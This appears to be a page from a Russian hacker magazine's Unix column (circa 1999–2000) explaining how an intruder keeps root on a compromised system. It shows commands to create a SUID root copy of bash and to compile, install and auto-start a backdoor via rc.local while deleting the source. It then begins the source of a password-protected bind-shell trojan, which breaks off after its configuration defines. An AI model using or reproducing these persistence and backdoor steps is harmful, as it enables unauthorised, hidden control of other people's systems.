ЖУРНАЛ ХАКЕР

Рубрика: Юниксоид

Xakep Online -> Журнал, номер #008, стр. 008-034-5


Локальные эксплоиты - это программы, позволяющие получить права суперпользователя, создать suid файл или получить доступ в группу суперпользователя. Чтобы найти нужный эксплоит, требуется знать тип системы и ее версию. Это можно выяснить с помощью команды uname, и затем на каком-либо сайте по безопасности Юникс найти эксплоит для данной системы.

Сниферы - программы, которые ловят сетевой трафик на каком-либо интерфейсе, это может быть как ethernet, так и ppp. Например, если на сервере стоит снифер, то при заходе пользователя в систему снифер перехватывает его логин и пароль.

Трояны - это программы, которые являются заменой реальных программ, таких как login или su. Они запрашивают пароль, записывают его в файл, потом выдают сообщение, что пароль введен не верно, и затем запускают реальную программу замены пасса.

SUID файлы позволяют выполнять команды с правами другого пользователя (часто root-а). Например, скопируем /bin/bash в твой домашний каталог и сделаем его SUID программой (делается с правами root, чтобы потом легко получать права суперпользователя, если администратор закроет дыру).

$ cp /bin/bash /home/hax0r

$chmod 4775 /home/hax0r/bash

Теперь при запуске этой копии bash все команды будут выполняться с правами суперпользователя.

Как затроянить систему для удаленного доступа:

Если ты получил права суперпользователя и хочешь сохранить доступ к системе надолго (часто администратор замечает, что его система была взломана и закрывает дырку и доступ пользователю, который получил полный доступ), то нужно установить так называемый троян фальшивых демонов или backdoor. Для этого можно установить программу демона, позволяющую зайти в систему с правами root-а, используя определенный порт.

Rootkit - набор программ для скрытия твоего присутствия в системе.

Можно затроянить существующего демона. Вот пример простого трояна, который вешается в бэкграунд из-под рута и открывает порт. Если на этот порт зателнетиться и ввести пароль, указанный тобой, троян дает шелл с правами root-a. Инсталлировать его следует из-под прав root-a или, например, если администратор поставил атрибуты возможности записи всеми пользователями в загрузочные скрипты (в различных системах загрузочные скрипты называются по-разному, далее приведен пример для Linux).

$ gcc -o solo solo.c

$ cp solo /bin/solo

$ rm solo.c

$ echo "solo &" >> /etc/rc.d/rc.local

---------- Троян solo.c ---------------

/* back door original: hz ; modif:mal,delta */

#include

#include

#include

#include

#include

#include

#include

#include

#define PORT 5051 /* порт */

#define MSG "welcome home\n\n" /* приветствие-)*/

#define SHELL "/bin/sh" /* шелл */

#define PASSAUTH

#define PASSWD "satan666" /* пароль */

Назад на стр. 008-034-4  Содержание  Вперед на стр. 008-034-6

-328.2-
журнал колонка редактора взлом защита от дурака западлостроение
железо софт ос юмор порно халява форумы линки

 

Copyright Gameland Publishing 1999-2000 ©